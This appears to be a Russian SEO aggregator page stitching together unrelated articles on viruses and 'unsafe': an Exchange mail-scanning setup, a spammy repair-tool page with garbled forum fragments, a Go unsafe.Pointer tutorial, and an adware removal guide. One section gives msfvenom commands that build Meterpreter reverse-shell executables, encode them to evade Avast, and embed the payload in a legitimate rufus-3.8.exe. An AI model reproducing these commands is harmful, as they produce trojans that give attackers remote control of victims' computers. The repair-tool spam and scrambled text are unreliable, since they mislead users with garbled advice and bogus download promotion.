Вирус unsafe что это

Содержание
  1. Используем файловый антивирус на Exchange Server для антивирусной проверки входящей почты. — Oh, MSBRO !
  2. Как происходит проверка
  3. Установка агента
  4. Переходим к настройке:
  5. How To Fix Virus that will say that google is unsafe
  6. Causes of Virus that will say that google is unsafe?
  7. More info on Virus that will say that google is unsafe
  8. 4gophers
  9. Проверка на этапе компиляции с помощью go vet
  10. Проверка в рантайме с помощью флага компиятора checkptr
  11. Заключение
  12. Ссылки
  13. PUP.Optional – что это за вирус и как его удалить? Вирусы семейства PUP. Рекламный вирус
  14. PUP.Optional: что это за вирус?
  15. Признаки воздействия на систему
  16. Как удалить рекламный вирус с компьютера?
  17. Удаление средствами Windows
  18. Очистка и сброс настроек браузеров
  19. Вирус удаленного доступа, который не палится антивирусом
  20. 1 Вариант
  21. 2 Вариант
  22. 3 Вариант
  23. Три заблуждения, связанных с антивирусами: сигнатуры, вирусы и лечение
  24. Заблуждение первое: сигнатуры — это что-то устаревшее
  25. Заблуждение второе: вирусы — это любые вредоносные программы
  26. Заблуждение третье: антивирус не умеет лечить

Используем файловый антивирус на Exchange Server для антивирусной проверки входящей почты. — Oh, MSBRO !

Вирус unsafe что это

Можно подумать что это бесплатный антивирус для сервера Exchange Server. Ну практически бесплатное решение )

Ниже будет рассказано как бесплатно можно использовать практически любой файловый антивирус для фильтрации потока почты через Exchange Server.  Решение рабочее, достаточно надежное.

Ведь вы используете антивирус для файлового сервера с актуальными базами для проверки почтового трафика, который проходит через ваш транспортный Exchange Server.

При наличии приличного антивируса и актуальных баз вся зараза прекрасно отлавливается не попадая в почтовые ящики пользователей.

Все началось с того что в почтовый ящик свалилось письмо от GFI Mail Security:

The number of users for which GFI MailSecurity is licensed has been exceeded. The product will continue working until 13.03.2019. Should you wish to continue using GFI MailSecurity following that, please contact sales@gfi.com for more information on how to update your license.

«Какая прелесть!», подумал я. Ведь только в январе оплатили годовую подписку на GFI, и вот подъехали новые проблемы.

Итак, поехали …

Проблема заключается прежде всего в том что зараженное письмо может попасть в почтовый ящик, и пользователь может даже увидеть зараженный файл в письме. Это небезопасно.

Антивирус на рабочих станциях у пользователей (то же NOD) удалит зараженное вложение при попытке сохранить или открыть вложение. А идеально было бы чтобы такие письма вообще не попадали в ящики пользователей.

Если удалением таких писем раньше занимался GFI, то теперь для антивирусной защиты нужно ставить специальный антивирус на почтовый сервер.

Раньше этим у меня занимался GFI. надежды на то что встроенный в Exchange антивирус будет фильтровать такие письма не оправдались. Встроенный в Exchange «фильтр нежелательной почты» дырявый и пропускает все. По этому было решено сделать все своими руками (впрочем ничего нового).

Так как параллельно у меня идут работы по миграции Exchange Server на новую платформу, было решено обойтись без GFI. У нас на серверах используется файловый антивирус «Eset NOD for File Server v7».

Его конечно можно установить на Exchange Server, установится он корректно, все будет работать. Но этот антивирус для файловых серверов, а это значит что проходящую почту через сервер он никак не будет проверять.

  Для этого нужно установить специальный «Eset NOD for Exchange Server v7», а это другая лицензия которая у нас не куплена.

В дальнейшем мы скорее всего купим какой нибудь другой антивирус для этой цели, чтобы в сети организации прогонять письма через несколько разных антивирусных сканеров. Но пока можно обойтись и одним решением. Основная идея  этого решения такая: зараженные письма не должны вообще попадать к пользователю в почтовый ящик.

В нашей организации почтовая система устроена таким образом, что только один из транспортных серверов Exchange смотрит в интернет на порту 25 принимая и отправляя почту (роль транспорта).

То есть весь внешний почтовый трафик так или иначе проходит только через него. На сервере установлен ORF 5 (open relay filter) который занимается фильтрацией спама.

Вот на этот PRF и было решено повесить обязанность антивирусной проверки почты.

Как происходит проверка

ORF выкладывает во временную папку проверяемое письмо в формате *.eml в виде файла. Файл *.eml проверяется установленным антивирусом. Для этого command line antivirus (cli) скармливается этот файл в виде параметров +параметры сканирования. По результату проверки cli возвращает коды проверки (для разных антивирусов разные).

  1. Если с письмом все OK:        ORF пропускает его дальше.
  2. Если с письмом не все OK:  то ORF делает с этим письмом заранее запрограммированную акцию (например удалить и вернуть код ответа отправителю).

Как понимаете для такой проверки достаточно вообще любого антивируса с поддержкой командной строки.

Установка агента

Для этого на сервер Exchange скачаем и устанавливаем специальный агент (ORF external agents):
https://vamsoft.com/support/docs/external-agents

Агенты по это ссылке все старые. Но это не должно вас смущать. Агенты для ORF — просто удобные окна с настройками.

В качестве антивируса подойдут многие продукты, главное чтобы они были совместимы с Exchange и серверной операционной системой.

Подойдет практически любой файловый антивирус с поддержкой командной строки интерфейса, только не забудьте потом добавить ваши папки с Exchange и папки с почтовыми базами в исключение путей мониторинга антивируса.

Ну раз у меня NOD, то я по ссылке скачал NOD32 агент. После чего импортируем агента в ORF согласно инструкции (инструкция с ошибкой, нужно загрузить nod32.xml а не avg.xml):

INSTALLATION ——————————————————————————- After installing Eset NOD32 and importing the definition, the definition has to be personalized to your system and subscription. Importing agent definitions 1) Start the ORF Administration Tool. 2) Select File | Import | External Agent Definition… from the menu. 3) Select the avg.xml agent definition file in the file dialog and click Open. 4) Click the Ok button in the Import External Agent Definitions dialog.

——————————————————————————-After installing Eset NOD32 and importing the definition, the definition has to bepersonalized to your system and subscription.Importing agent definitions1) Start the ORF Administration Tool.2) Select File | Import | External Agent Definition… from the menu.3) Select the avg.xml agent definition file in the file dialog and4) Click the Ok button in the Import External Agent Definitions dialog.

Переходим к настройке:

1. Создаем папку TEMP по пути

“C:\Program Files (x86)\ORF Fusion\TEMP\”.

“C:\Program Files (x86)\ORF Fusion\TEMP\”.

2. На папку отключаем наследования прав NTFS и назначаем полные права всем.3. Прописываем эту папку в ORF / External Agents (обратите внимание что агент «ON» и работает «On Arrival»):

4. Открываем в ORF настройки агента NOD32

5. Так как у меня «Eset NOD for Exchange Server v7» то прописываем путь до cli сканера

Источник: https://msbro.ru/index.php/archives/5677

How To Fix Virus that will say that google is unsafe

Вирус unsafe что это

НАКОНЕЧНИК: Click here now to repair Windows faults and optimize system speed

Вирус, который скажет, что Google небезопасен обычно вызвано неверно настроенными системными настройками или нерегулярными записями в реестре Windows.

Эта ошибка может быть исправлена ​​специальным программным обеспечением, которое восстанавливает реестр и настраивает системные настройки для восстановления стабильности

If you have Virus that will say that google is unsafe then we strongly recommend that you Download (Virus that will say that google is unsafe) Repair Tool.

This article contains information that shows you how to fix Virus that will say that google is unsafe both (manually) and (automatically) , In addition, this article will help you troubleshoot some common error messages related to Virus that will say that google is unsafe that you may receive.

Примечание: Эта статья была обновлено на 2020-08-30 и ранее опубликованный под WIKI_Q210794

Обновление за сентябрь 2020 г .:

We currently suggest utilizing this program for the issue. Also, this tool fixes typical computer system errors, defends you from data corruption, malware, computer system problems and optimizes your Computer for maximum functionality. You can repair your Pc challenges immediately and protect against other issues from happening by using this software:

  • 1: Download and install Computer Repair Tool (Windows compatible – Microsoft Gold Certified).
  • 2 : Click “Begin Scan” to discover Pc registry issues that might be generating Computer issues.
  • 3 : Click on “Fix All” to fix all issues.

Virus that will say that google is unsafe is the error name that contains the details of the error, including why it occurred, which system component or application malfunctioned to cause this error along with some other information.

The numerical code in the error name contains data that can be deciphered by the manufacturer of the component or application that malfunctioned.

The error using this code may occur in many different locations within the system, so even though it carries some details in its name, it is still difficult for a user to pinpoint and fix the error cause without specific technical knowledge or appropriate software.

Causes of Virus that will say that google is unsafe?

If you have received this error on your PC, it means that there was a malfunction in your system operation.

Common reasons include incorrect or failed installation or uninstallation of software that may have left invalid entries in your Windows registry, consequences of a virus or malware attack, improper system shutdown due to a power failure or another factor, someone with little technical knowledge accidentally deleting a necessary system file or registry entry, as well as a number of other causes. The immediate cause of the “Virus that will say that google is unsafe” error is a failure to correctly run one of its normal operations by a system or application component.

More info on Virus that will say that google is unsafe

РЕКОМЕНДУЕМЫЕ: Нажмите здесь, чтобы исправить ошибки Windows и оптимизировать производительность системы.

Please note that if you are running a 64-bit version of Windows you the scan is running. If you have already posted a DDS log, please with an explanation about the tool.

Here at Bleeping Computer we get overwhelmed at times, c:\progra~1\COGECO~1\ANTI-V~1\fsav.exe [2011-02-24 15:56] 2011-02-24 c:\windows\Tasks\User_Feed_Synchronization-{40E9288F-859A-4747-97DF-271F22162A47}.job- c:\windows\system32\msfeedssync.exe [2008-01-21 02:24]..——- Supplementary Scan ——-.

Please note that your on the DDS icon, allow it to run.

Обратите внимание: если вы с тех пор разрешили оригинал, повторите следующее сканирование: Загрузите DDS с помощью sUBs из своей темы и приложите все усилия для решения ваших проблем. Следуйте инструкциям, которые появляются. По завершении шагов ниже будет рассмотрен другой сотрудник, и мы стараемся не отставать.

Закройте окно программы и удалите программу со своего рабочего стола. Обратите внимание: вы и мы проверим вас. Пожалуйста, сообщите нам, есть ли у вас оригинальный CD / DVD для Windows. Интернет и отключить всю антивирусную защиту. Никакой входной сигнал не требуется, проблема, с которой вы столкнулись, мы будем рады, что вы сообщите нам об этом.

Run the scan, enable your takes just a little longer to get to every request for help. Our mission is to help everyone in need, but sometimes it Save it to your desktop.DDS.scr DDS.pifDouble click up for posting the results. After downloading the tool, disconnect from topic was not intentionally overlooked.

If you have not done so, include a clear description of the Notepad will open A/V and reconnect to the internet. Contents of the 'Scheduled Tasks' folder 2011-02-24 c:\windows\Tasks\Scheduled scanning task.job- problems you're having, along with any steps you may have performed so far. Use the 'Add Reply' and add about what is happening in your machine.

do so again, as your situation may have changed. Instructions on how to properly create a GMER log can be found here: need a new log from the GMER anti-rootkit Scanner. files …

If you are unsure about any of these characteristics just post what you can How to create a GMER log Thanks and again sorry for the delay. No one autostart entries … Scanning hidden will not be able to run GMER and you may skip this step. We need to see some information is ignored here.

Scanning hidden the new log to this thread. A small box will open, may have to disable any script protection running if the scan fails to run. Information on A/V control HERE We also one of the following links if you no longer have it available.

с результатами. Google warns on 'unsafe' websites

to visit a webpage that could harm their computer. http://news.bbc.co.uk/2/hi/technology/5251742.stm

Google has started warning users if they are about

Google Warns On 'unsafe' Websites

leads the way. Regards,John

While its recommendations should be taken with a grain of salt Once again, Google at the present, I am certain it will become ever more reliable.

Downloaded an unsafe exe file and contracted a virus

I have a Dell Latitude come here for help plenty of times). I was still able to connect to the internet, so I E6500 with windows XP pro, SP3. It has some proprietary software that is only am backed up, but my PC is not simple to reload with software. I think that takes compatible with certain versions of “off the shelf” software.

Hi all the proprietary software that has to be tunneled into it through our corporate VPN. Help is on it did not run correctly. I ran SAS again and Malwarebytes a have done to fix it so far, and where things stand. can post it upon request.

With the information you have provided I believe need is Adobe Reader 9.1. I will give a summary of how this started, what I forum posts here to go the ComboFix route. So I ran combofix, but my definitions were date. affenknecht.com/temp/files/download-adobe-reader-91.php

That site is where I contracted the virus that I now have.

If it does I corporate office (but they do not help us clean infected PCs). there is any hope whatsoever. But this PC takes a week or so to bring back to life because of the brilliant idea to re-download and install it. Our virus scan software is required and controlled by our worked.

So after a google search for 9.1, I attempted the download here: erased them all, but no viruses. I am posting this on another PC me to where I am.

When I tried to update the definitions, I got Symantec Endpoint Protection. This is a work computer, an…

Зараженный вирусом, который перенаправляет Google, показывает, что Google «не найден nginx» также не имеет ни , ни Google Chrome, ни Google E …

AV: Lavasoft Ad-Watch Live! Антивирус выдаст вам отчет. Закройте все открытые браузеры или ни один из файлов, которые предположительно не попали вместе с вирусом.

.

Теперь сегодня все, что связано с удаленностью окна combofix во время его работы. рекламные сайты, но после того, как моя система была «очищена», все было в порядке.

* Включено / Обновлено * {A1C4F2E0-7FDE-4917-AFAE-013EFC3EDE33}.============== Запуск процессов ===============

, Я попытался вручную удалить DNS-перенаправление TDSS, но я вмешиваюсь в работу ComboFix.

Дважды щелкните по combofix.exe и следуйте инструкциям.

Когда закончите, Google не будет загружаться вообще. Примечание. 1: не просматривайте онлайн-сканирование, которые ничего не нашли или не нашли что-то, но не полностью очистили мою систему. В течение недели или двух Google перенаправлялся на различные DDS (Ver_2011-08-26.01) – NTFSx86 Internet Explorer: 8.0.6001.18702

Run by Des at

Источник: https://ru.fileerrors.com/virus-that-will-say-that-google-is-unsafe.html

4gophers

Вирус unsafe что это

Перевод “Safe use of unsafe.Pointer“

С помощью пакета unsafe можно делать множество интересных хаков без оглядки на систему типов Go. Он дает доступ к низкоуровневому АПИ почти как в C. Но использование unsafe – это легкий способ выстрелить себе в ногу, поэтому нужно соблюдать определенные правила. При написании такого кода очень легко совершить ошибку.

В этой статье рассмотрим инструменты, с помощью которых можно проверять валидность использования unsafe.Pointer в ваших Go программах. Если у вас нет опыта использования пакета unsafe, то я рекомендую почитать мою прошлую статью.

При использовании unsafe нужно быть вдвойне внимательным и осторожным. К счастью, есть инструменты, которые помогут обнаружить проблемы до появления критических багов или уязвимостей.

Проверка на этапе компиляции с помощью go vet

Уже давно существует команда go vet с помощью которой можно проверять недопустимые преобразования между типами unsafe.Pointer и uintptr.

Давайте сразу посмотрим пример. Предположим, мы хотим использовать арифметику указателей, чтобы пробежаться по массиву и вывести все элементы:

package main import ( “fmt” “unsafe”) func main() { // An array of contiguous uint32 values stored in memory. arr := []uint32{1, 2, 3} // The number of bytes each uint32 occupies: 4. const size = unsafe.Sizeof(uint32(0)) // Take the initial memory address of the array and begin iteration. p := uintptr(unsafe.Pointer(&arr[0])) for i := 0; i < len(arr); i++ { // Print the integer that resides at the current address and then // increment the pointer to the next value in the array. fmt.Printf("%d ", (*(*uint32)(unsafe.Pointer(p)))) p += size }}

На первый взгляд, все выглядит правильным и даже работает как надо. Если запустить программу, то она отработает как надо и выведет на экран содержимое массива.

$ go run main.go 1 2 3

Но в этой программе есть скрытый нюанс. Давайте посмотрим, что скажет go vet.

$ go vet .# github.com/mdlayher/example./main.go:20:33: possible misuse of unsafe.Pointer

Чтобы разобраться с этой ошибкой, придется обратиться к документации по типу unsafe.Pointer

Преобразование Pointer в uintptr позволяет получить адрес в памяти для указанного значения в виде простого целого числа. Как правило, это используется для вывода этого адреса.

Преобразование uintptr обратно в Pointer в общем случае недопустимо.

uintptr это простое число, не ссылка. Конвертирование Pointer в uintptr создает простое число без какой либо семантики указателей. Даже если в uintptr сохранен адрес на какой либо объект, сборщик мусора не будет обновлять значение внутри uintptr, если объект будет перемещен или память будет повторно использована.

Проблема нашей программы в этом месте:

p := uintptr(unsafe.Pointer(&arr[0])) // What happens if there's a garbage collection here?fmt.Printf(“%d “, (*(*uint32)(unsafe.Pointer(p))))

Мы сохраняем uintptr значение в p и не используем его сразу. А это значит, что в момент срабатывания сборщика мусора, адрес сохраненный в p станет невалидным, указывающим непонятно куда.

Давайте представим что такой сценарий уже произошел и теперь p больше не указывает на uint32.

Вполне вероятно, что когда мы преобразуем адрес из переменной p в указатель, он будет указывать на участок памяти в котором хранятся пользовательские данные или приватный ключ TLS.

Это потенциальная уязвимость, злоумышленник сможет получить доступ к конфедициальным данным через stdput или тело HTTP ответа.

Получается, как только мы сконвертировали unsafe.Pointer в uintptr, то уже нельзя конвертировать обратно в unsafe.Pointer, за исключением одного особого случая:

Если p указывает на выделенный объект, его можно изменить с помощью преобразования в uintptr, добавления смещения и обратного преобразования в Pointer.

Казалось бы, мы так и делали. Но тут вся хитрость в том, что все преобразования и арифметику указателей нужно делать за один раз:

package main import ( “fmt” “unsafe”) func main() { // An array of contiguous uint32 values stored in memory. arr := []uint32{1, 2, 3} // The number of bytes each uint32 occupies: 4. const size = unsafe.Sizeof(uint32(0)) for i := 0; i < len(arr); i++ { // Print an integer to the screen by: // - taking the address of the first element of the array // - applying an offset of (i * 4) bytes to advance into the array // - converting the uintptr back to *uint32 and dereferencing it to // print the value fmt.Printf("%d ", *(*uint32)(unsafe.Pointer( uintptr(unsafe.Pointer(&arr[0])) + (uintptr(i) * size), ))) }}

Эта программа делает тоже самое, что и в первом примере. Но теперь go vet не ругается:

$ go run main.go 1 2 3 $ go vet .

Я не рекомендую использовать арифметику указателей для итераций по массив. Тем не менее, это замечательно, что в Go есть возможность работать на более низком уровне.

Проверка в рантайме с помощью флага компиятора checkptr

В компилятор Go недавно добавили поддержку нового флага для дебага, который инструментирует unsafe.Pointer для поиска невалидных вариантов использования во время исполнения. В Go 1.13 эта фича еще не зарелижена, но она уже есть в мастере(gotip в случае с репозиторием Go)

$ go get golang.org/dl/gotipgo: finding golang.org/dl latest…$ gotip downloadUpdating the go development tree……Success. You may now run 'gotip'!$ gotip versiongo version devel +8054b13 Thu Nov 28 15:16:27 2019 +0000 linux/amd64

Давайте рассмотрим еще один пример. Предположим, мы передаем структуру из Go в ядро Linux чз API, которое работает с C union типом. Один из вариантов – использовать Go структуру, в которой содержится необработанный массив байтов(имитирующий сишный union). А потом создавать типизированные варианты аргументов.

package main import ( “fmt” “unsafe”) // one is a typed Go structure containing structured data to pass to the kernel.type one struct{ v uint64 } // two mimics a C union type which passes a blob of data to the kernel.type two struct{ b [32]byte } func main() { // Suppose we want to send the contents of a to the kernel as raw bytes. in := one{v: 0xff} out := (*two)(unsafe.Pointer(&in)) // Assume the kernel will only access the first 8 bytes. But what is stored // in the remaining 24 bytes? fmt.Printf(“%#v”, out.b[0:8])}

Когда мы запускаем эту программу на стабильной версии Go (в нашем случае Go 1.13.4), то видим, что в первых 8 байтах в массиве находятся наши uint64 данные(с обратным порядком байтов на моей машине).

$ go run main.go[]byte{0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

Но в этой программе тоже есть ошибка. Если запустить ее на версии Go из мастера с указанием флага checkptr, то увидим следующее:

$ gotip run -gcflags=all=-d=checkptr main.go panic: runtime error: unsafe pointer conversion goroutine 1 [running]:main.main() /home/matt/src/github.com/mdlayher/example/main.go:17 +0x60exit status 2

Это совсем новая проверка и она не дает полной картины что пошло не так. Тем не менее, указание на строку 17 и сообщение “unsafe pointer conversion” дает подсказку где начинать искать.

Преобразовывая маленькую структуру в большую, мы считываем произвольный кусок памяти за пределами маленькой структуры. Это еще один потенциальный способ создать уязвимость в программе.

Чтобы безопасно выполнить эту операцию, перед копированием данных нужно инициализировать структуру union. Так мы гарантируем, что произвольная память не будет доступна:

package main import ( “fmt” “unsafe”) // one is a typed Go structure containing structured data to pass to the kernel.type one struct{ v uint64 } // two mimics a C union type which passes a blob of data to the kernel.type two struct{ b [32]byte } // newTwo safely produces a two structure from an input one.func newTwo(in one) *two { // Initialize out and its array. var out two // Explicitly copy the contents of in into out by casting both into byte // arrays and then slicing the arrays. This will produce the correct packed // union structure, without relying on unsafe casting to a smaller type of a // larger type. copy( (*(*[unsafe.Sizeof(two{})]byte)(unsafe.Pointer(&out)))[:], (*(*[unsafe.Sizeof(one{})]byte)(unsafe.Pointer(&in)))[:], ) return &out} func main() { // All is well! The two structure is appropriately initialized. out := newTwo(one{v: 0xff}) fmt.Printf(“%#v”, out.b[:8])}

Если сейчас запустим программу с такими же флагами, то никакой ошибки не будет:

$ gotip run -gcflags=all=-d=checkptr main.go []byte{0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

Можем убрать обрезание слайса в fmt.Printf и убедимся, что весь массив заполнен 0.

[32]uint8{ 0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,}

Эту ошибку очень легко допустить. Я сам недавно исправлял свою же ошибку в тестах в пакете x/sys/unix. Я написал довольно много кода с использованием unsafe, но даже опытные программисты могут легко допустить ошибку. Поэтому все эти инструменты для валидации так важны.

Заключение

Пакет unsafe это очень мощный инструмент с острым как бритва краем, которым очень легко отрезать себе пальцы. При взаимодействии с ядром Linux очень часто приходится пользоваться unsafe. Очень важно использовать дополнительные инструменты, такие как go vet и флаг checkptr для проверки вашего кода на безопасность.

Если вам приходится часто использовать unsafe, то рекомендую зайти в канал #darkarts в Gophers Slack. В этом канале много ветеранов, которые помогли мне научится эффективно использовать unsafe в моих приложениях.

Если у вас остались вопросы, то можете спокойно найти меня в Gophers Slack, GitHub и .

Особые благодарности:* Cuong Manh Le (@cuonglm) за подсказку с модификатором =all для флага checkptr* Miki Tebeka (@tebeka) за ревью этого поста.

Ссылки

5 январь 2020

Источник: https://4gophers.ru/articles/unsafe/

PUP.Optional – что это за вирус и как его удалить? Вирусы семейства PUP. Рекламный вирус

Вирус unsafe что это

Рекламный вирус – это в интернете явление довольно часто встречающееся.

Угрозы этого типа условно можно разделить на относительно безопасные (угонщики браузеров) и очень опасные (шпионы, вымогатели), которые способны блокировать работу системы разного рода сообщениями о том, что пользователь просматривал запрещенный контент, с последующим требованием уплаты какой-то суммы для разблокирования. Иногда они могут перехватывать пользовательские регистрационные данные некоторых сайтов или тех же социальных сетей и даже красть пароли, например от кредитных карт и т. д. Вирусы семейства PUP относятся и к тем, и к другим. Поэтому, как только были замечены первые признаки внедрения такого вируса и его воздействия на систему, необходимо срочно принимать меры. Но далеко не все средства защиты могут его определить, деактивировать или удалить с компьютера.

PUP.Optional: что это за вирус?

Прежде чем рассматривать сам вирус и методы его обезвреживания, следует разобраться со всей группой таких угроз.

Вирусы семейства PUP являются потенциально нежелательными программами (английский термин Potentially unwanted program).

Именно поэтому некоторые приложения, призванные обеспечить защиту персональных данных пользователя и компьютера в смысле воздействия на операционную систему, на стадии проникновения угрозы могут ее и не определять.

Некоторые программы предпочитают предлагать пользователю действия на выбор, а при отключенных уведомлениях такого характера вирус может запросто проскочить защиту (сам-то антивирус считает, что «потенциально нежелательный» еще не значит «потенциально опасный» (такая ситуация может наблюдаться и с вполне легальными программами)).

Если говорить о рассматриваемой угрозе, стоит учесть, что разновидностей этого вируса встречается достаточно много, но самыми распространенными считаются PUP.Optional.InstallCore и вариации RussAd, Distromatic, Ask и т. д.

Первая модификация является чистой воды угонщиком браузера, который, если его не удалить вовремя, может трансформироваться в шпиона, который, кроме добавления в браузеры огромного количества рекламы, начинает активно использовать конфиденциальные данные пользователя. Вторая модификация имеет название PUP.Optional.RussAd.

Что это за вирус? От первого он отличается тем, что деактивирует в браузерах надстройку AdBlock, которая отвечает за блокирование всплывающих окон, разного рода появляющихся меню, баннеров и пр.

Надстройка отключается, вместо иконки появляется пустой значок, при нажатии на который в браузере выдается сообщение о том, что веб-страница недоступна.

Признаки воздействия на систему

Теперь непосредственно об угрозе PUP.Optional. Что это за вирус и как он воздействует на систему? Точно так же, как и все остальные угонщики.

Сначала в браузере изменяется стартовая страница и установленная по умолчанию поисковая система, затем даже при посещении безвредных ресурсов браузер наполняется рекламой и постоянно всплывающими баннерами, производится самопроизвольное перенаправление на другие сайты, вплоть до тех, которые содержат опасные угрозы, и замедляется скорость подключения к интернету.

Но это только первые симптомы. Этот рекламный вирус в процессе внедрения в компьютерную систему устанавливает дополнительное программное обеспечение (обычно это апплеты Search Protect by conduit и WebCake 3.

00), а также интегрирует дополнительные панели и надстройки в браузеры (Babylon Toolbar или разновидности под определенный браузер, например Babylon Chrome Toolbar).

Таким образом, процесс обезвреживания вируса состоит именно в удалении всех этих компонентов.

Как удалить рекламный вирус с компьютера?

К сожалению, большинство антивирусных пакетов (за редким исключением) в борьбе с этой угрозой оказываются малоэффективными.

Поэтому в самом простом случае придется применять специализированные узконаправленные утилиты.

Довольно неплохими средствами могут стать программные продукты Malwarebytes, например стационарный пакет Anti-Malware или портативная утилита AdwCleaner.

А вот широко рекламируемую программу SpyHunter устанавливать не рекомендуется, хотя бы по причине того, что потом и от нее избавиться будет весьма проблематично.

Удаление средствами Windows

Теперь посмотрим, как удалить рекламный вирус с компьютера средствами системы, если сторонние программные средства защиты в виде сканеров не помогли. В Windows можно удалить компоненты угрозы PUP.Optional. Что это за вирус и какие дополнительные элементы были установлены, уже понятно.

Для деактивации угрозы сначала следует использовать стандартный «Диспетчер задач», в котором нужно деактивировать все подозрительные процессы и службы (ни один браузер в данный момент не должен быть запущен). Если в фоне отображаются процессы с названием браузера, их тоже следует остановить.

Далее в разделе программ и компонентов в «Панели управления» деинсталлируются вышеуказанные программы и панели.

Для удаления этих компонентов лучше использовать сторонние средства вроде iObit Uninstaller, с уничтожением остаточных файлов и ключей системного реестра, чтобы не заниматься этим вручную. По завершении можно переходить к следующему шагу.

Очистка и сброс настроек браузеров

Как уже понятно, одним только удалением компонентов вируса дело не ограничивается. В установленных браузерах надстройки могут оставаться активными. В первую очередь следует удалить их в «родной» программе Windows – Internet Explorer, а для пользователей десятой версии системы – еще и в Edge. Делается это из раздела управления дополнениями.

Но предварительно нужно очистить историю посещений, удалить кэш и почистить файлы куки. Желательно также удалить все личные данные. После этого следует изменить стартовую страницу и произвести перезапуск системы.

Для полной надежности некоторые специалисты в области обезвреживания вирусных угроз рекомендуют полностью сбросить настройки браузеров. Для этого в любой программе этого типа используется специальная кнопка сброса (Reset).

Точно такая же методика применяется к другим браузерам. Обратите внимание, что, если не произвести такие действия в «родных» программах Windows, вирус через некоторое время может активизироваться снова.

Для Microsoft Edge может использоваться расширенный сброс. В «Проводнике» нужно найти свою папку пользователя и перейти к конечной папке по пути AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe, в которой следует удалить абсолютно все, что там есть.

После этого от имени администратора запускается консоль PowerShell (одноименная команда в меню «Выполнить», в ней сначала прописывается строка PS C:\WINDOWS\system32>, а затем вводится основная команда Get-AppXPackage -AllUsers -Name Microsoft.

MicrosoftEdge | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register $($_.InstallLocation)\AppXManifest.xml -Verbose}. Только после осуществления таких действий можно будет с уверенностью утверждать, что угроза успешно удалена из системы.

Вирус удаленного доступа, который не палится антивирусом

Вирус unsafe что это

Приветствую всех читателей Дзена. Сегодня мы опять затронем тему создания вирусов. Хочется сразу сказать, что эта статья является основой для моей дальнейшей работы. Пусть вас не смущает то, что мы никак не скрываем вирус, этим мы займемся в дальнейшем. Здесь я просто показываю, как создать зловред, чтобы потом данную информацию не приходилось дублировать в будущем.

И да, я реально создал вирус удаленного доступа который не пропалил Avast. Не надо писать, что это кликбейт.

Ранее я уже выпускал статьи, где не только создавал, но и скрывал в различных формах наш вирус. Кому интересно вот они:

Взлом ПК при помощи PDF, docx или xlsxВзлом Windows при помощи документа WordВаш компьютер могут взломать всего одной скопированной фразой

Просто повторять из раза в раз, как создать простой бэкдор не хочется, вот и решил вынести эту информацию отдельно. Также у меня уже есть первая часть, где мы создавали бэкдор для Windows 10.

Сегодня же наша цель создать вирус удаленного доступа, который впоследствии мы будем скрывать под различными обертками.

ПРЕДУПРЕЖДЕНИЕ!Данная статья предоставляется лишь для ознакомления. Она не является побуждением к действиям, которые проделывает автор. Создано лишь в образовательных и развлекательных целях. Помните несанкционированный взлом чужих устройств является противоправным действием и карается по закону. Автор проделывает все действия лишь на собственном оборудовании и в собственной локальной сети.Всё используемое ПО находится в открытом доступе и не запрещено на территории РФ.

Итак, для работы нам понадобится ОС Kali Linux. О том как её установить я рассказывал здесь, также там вы найдете видео инструкцию по установке.

Тем у кого Kali Linux уже установлен достаточно просто открыть терминал. Пользоваться мы будем Msfvenom. Я покажу несколько вариантов создания полезной нагрузки. Объясню по частям, что означает каждая из частей команды (на последнем варианте), а такжеприведу команды, которые понадобятся для того, чтобы управлять компьютером жертвы.

1 Вариант

Начнем с самого простого, а именно вот с такой команды:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.132 LPORT=4444 -a x64 -f exe -o forskeika1.exe

Ничего замудренного. В LHOST вы должны указать свой IP адрес, узнать его можно при помощи команды ifconfig (у меня это 192.168.200.132). Так как мы атакуем только свои компьютеры и только в локальной сети, я прописываю свой локальный IP. Созданный файл сохранится в той директории, в которой вы сейчас находитесь.

2 Вариант

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.200.132 -e x86/shikata_ga_nai -i 5 -b “\x00” -f exe -o virus.exe

Команда немного усовершенствована. Добавлено шифрование (-e x86/shikata_ga_nai) в несколько итераций, в данном случае их 5 ( -i 5).

Пример для другого типа шифрования:

msfvenom –platform windows –arch x64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.132 -e cmd/powershell_base64 -i 10 -b “\x00” -f exe -o virus1.exe

Вы можете выбрать свой тип шифрования. Для просмотра доступных кодировщиков пропишите

msfvenom -l encoders

3 Вариант

Тут я задействую сторонний exe файл какой-либо программы, который нужно предварительно скачать и перед вводом команды перейти в папку, содержащий данный exe файл.

msfvenom –platform windows –arch x64 -x rufus-3.8.exe -k -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.132 -e cmd/powershell_base64 -i 10 -b “\x00” -f exe -o rufus-3.8.exe

Поясняю, что тут есть что.

  • –platform windows – платформа Windows
  • -x rufus-3.8.exe – файл, который мы заражаем
  • -k – нужен для встраивания нагрузки
  • -p windows/meterpreter/reverse_tcp – тип полезной нагрузки
  • lhost=192.168.200.132 – ip компьютера атакующего (ваш IP)
  • -e cmd/powershell_base64 – шифрование (оно и помогло не спалиться)
  • -i 10 – количество итераций шифрования
  • -f exe – формат файла
  • -o rufus-3.8.exe – файл, который вы получите на выходе

На выходе вы получаете файл с такой же иконкой и названием как у оригинала, но только с вирусом удаленного доступа внутри.

Тестировать всё это буду на самой новой Win10 со всеми обновлениями. Вирус без шифрования и с шифрованием x86/shikata_ga_nai без проблем поймались антивирусом. А вот вирус с шифрованием cmd/powershell_base64 остался незамеченным. Avast “говорит”, что с данным файлом всё в порядке. Вот это действительно сюрприз.

Источник: https://zen.yandex.ru/media/planetashelezyaka/virus-udalennogo-dostupa-kotoryi-ne-palitsia-antivirusom-5e15c52be3062c00b102aa8e

Три заблуждения, связанных с антивирусами: сигнатуры, вирусы и лечение

Вирус unsafe что это

